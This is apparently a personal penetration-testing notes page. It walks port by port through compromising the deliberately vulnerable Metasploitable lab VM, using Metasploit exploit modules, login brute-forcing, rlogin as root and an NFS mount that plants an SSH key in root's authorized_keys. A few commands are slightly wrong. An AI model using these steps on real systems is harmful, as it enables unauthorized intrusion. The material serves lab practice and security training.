> For the complete documentation index, see [llms.txt](https://ghoulsec.gitbook.io/ghoulsec-vault/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ghoulsec.gitbook.io/ghoulsec-vault/server-are-fun/hacking-systems/linux-systems/metasploitable-os-complete-solved.md).

# Metasploitable OS Complete Solved

<figure><img src="https://2332860236-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq6mjlFfyDOi3mV0lemKE%2Fuploads%2FlN5gVzHw5ndGjHCyzeF3%2Fimage.png?alt=media&amp;token=3f968c83-ba31-4e92-9cfa-5a7d3ee6c31c" alt=""><figcaption></figcaption></figure>

#### Port 21 & 2121

```
# Searching the ftp version
auxiliary/scanner/ftp/ftp_version
# Exploiting 2.3.4 Backdoor
exploit/unix/ftp/vsftpd_234_backdoor

### Port 2121
systemctl postgresql start
auxiliary/scanner/ftp/ftp_login
> ftp <ip> 2121
```

#### Port 22

```
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/ssh/ssh_login
```

#### Port 23 & 1524

```
auxiliary/scanner/telnet/telnet_login
### Need to use Wireshark to inspect login credentials

ncat <ip> 1524
```

#### Port 25

```
# SMTP
auxiliary/scanner/smtp/smtp_enum
## Veryfying the users available on the internet

nc <machineIP> 25(port SMTP)
VRFY <username_Enumerated>
```

#### Port 53 ISC BIND (DNS)

Port 53 is **used by DNS (Domain Name System)**.*Berkeley Internet Name Domain* DNS takes care of recolving human readable 'host names' into numeric IP addresses. A commonly used DNS server called BIND has had a rich history of security problems. As a result, BIND and port 53 are frequent targets and a couple worms used BIND exploits to propagate.

```
https://www.exploit-db.com/exploits/6122/
auxiliary/spoof/dns/bailiwicked_domain
```

#### Apache HTTPd 80

* It is used to host the DVWA on the metasploitable OS but it also can be exploited.

```
nbtscan -r IPrange/24
dirb <ip>
http://<ip>/phpinfo.php
msf6> auxiliary/scanner/http/http_version
cadaver <website>/dav/
# A Linux terminal should pop-up
```

#### PORT 111/ 2049 RPC Bind

RPC - Remote Procedure Calls NFS - Network File system

```
rpc info -p <ip>
sudo mkdir -p /root/.ssh
cd /root/.ssh
### Generating SSH keys 
ssh-keygen -t rsa -b 4096
### Mounting the filesystem
mount -o nolock -t nfs <ip>:/ /mnt

### Listing the filesystems
df -k

cd /mnt/root/.ssh
cp /root/.ssh <filename> /mnt/root/.ssh

### To make ssh connection we need to extract the ssh authorized
key pair into the known authorized file

cat <publickey> >> authorized_keys

ssh -i /root/.ssh/<file> root@<ip>
```

#### Port 5900 VNC Viewer

```
auxiliary/scanner/vnc/vnc_login
vncviewer <ip>
```

#### Port 139-445 NetBIOS SSN

```
auxiliary/scanner/smb/smb_version
exploit/multi/samba/usermap_script
```

#### Port 512 513 514

* These ports are also known as the remote login r services which is able to log in the systems using TCP Wrapper network access protocol

```
sudo apt install rsh-client
rlogin -l root <ip>
```

#### Port 1099 Java RMI server

```
auxiliary/scanner/misc/java_rmi_server
exploit/multi/misc/java_rmi_server     
```

#### Port 3306

```
auxiliary/scanner/mysql/mysql_version
auxiliary/scanner/mysql/mysql_login

# On bruteforcing we get the password

mysql -u <user> -h <ip>


### Some Mysql Commands 
show databases;
use <database_name>;
show tables; 
describe <table_name>; (Select query)

```

#### Port 5432 Postgres

```
auxiliary/scanner/postgres/postgres_login
<default postgres pass>
psql -h <ip> -u <username>
```

#### Port 6667 Internal Relay Chat (IRC)

```
service postgresql start (IRC Requires a server to communicate with)
exploit/unix/irc/unreal_ircd_3281_backdoor
### IRC was built to prevent flooding 
Show playload 
set payload to ruby
```

#### Port 8180 (Unknown)

* Port 8180 is used by the Apache tomcat service to run the java codes on the go....

```
Default password list github for apache tomcat based logins
exploit/multi/http/tomcat_mgr_upload
```

***

\~ Ghoul